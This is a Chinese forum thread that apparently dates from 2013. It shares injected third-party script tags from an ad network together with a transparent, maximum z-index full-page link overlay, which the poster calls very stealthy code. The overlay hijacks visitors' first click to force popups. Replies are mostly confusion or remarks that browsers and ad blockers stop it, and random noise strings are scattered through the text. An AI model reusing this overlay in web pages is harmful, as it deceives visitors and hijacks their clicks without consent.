) w. Z- [, i/ Y' S, {document.write('<script src="http://s127.cnzz.com/stat.php?id=1474936&web_id=1474936" language="JavaScript" charset="gb2312"><\/script>');
   
   
document.write("<script language='javascript' src='http://play.unionsky.cn/show/?placeid=141830'><\/script>");

一切昭然天下了。
代码产生的直接效果如下
2 j$ {  V; T* ]. r, K# p
2 E3 g4 @) |! X- n9 x2 Z <a  target="_blank" style="position: absolute; z-index: 2147483647; display: block; top: 0px; left: 0px; cursor: default; opacity: 0;"><div style="background-color: rgb(255, 255, 255); width: 1903px; height: 650px;"></div></a>
5 @; S6 q; X  O4 ?* c* A+ R
很隐秘的一段好代码
& R/ @3 ^" o* m7 Q5 {* J* s$ j! u

Smythe_Bob

标记一下 好象看不懂还

网赚高富帅

不清楚国内，莫非做taobao不可以直接用弹窗吗？

booday

没用 360 搜狗 直接就拦截了，chrome可以弹出来

阿百川

adblock 完美屏蔽

PHP

没研究全，期待跟多解析。

echo

代码看不懂，不过觉得挺好用的……自动弹窗

cissss

没懂
& j5 g) \* \. \3 B4 c$ ]
) Z% I5 j; z/ D  h- a1，首次访问有个弹窗，但是被chrome给拦截了

2，劫持了第一次点击
4 u5 u$ |3 ~, K% X5 f) i# F
3，CS了一下unionsky

然后？

小狠

cissss 发表于 2013-12-18 01:24
! k  c$ y8 L0 ]+ ?, Y' |没懂
9 y, \6 W# d, E  L% \# S% x
1，首次访问有个弹窗，但是被chrome给拦截了

1 J& ]- |' ~% T懂的人一看就懂 不懂的人怎么看就不懂

1990a

这个CJ怎么搞的这么复杂...

cissss

小狠 发表于 2013-12-18 03:49
$ G4 x" \/ ^' c; ~6 v  T9 \* R0 P懂的人一看就懂 不懂的人怎么看就不懂

- f3 w8 ^+ I! l% C& r8 h! d我确实不懂你发这贴的意思。 可以理解为装逼么？

bowen

不就是个弹窗代码吗？

babe_lucky

我表示看不懂

cnnova

占位，慢慢领会啥意思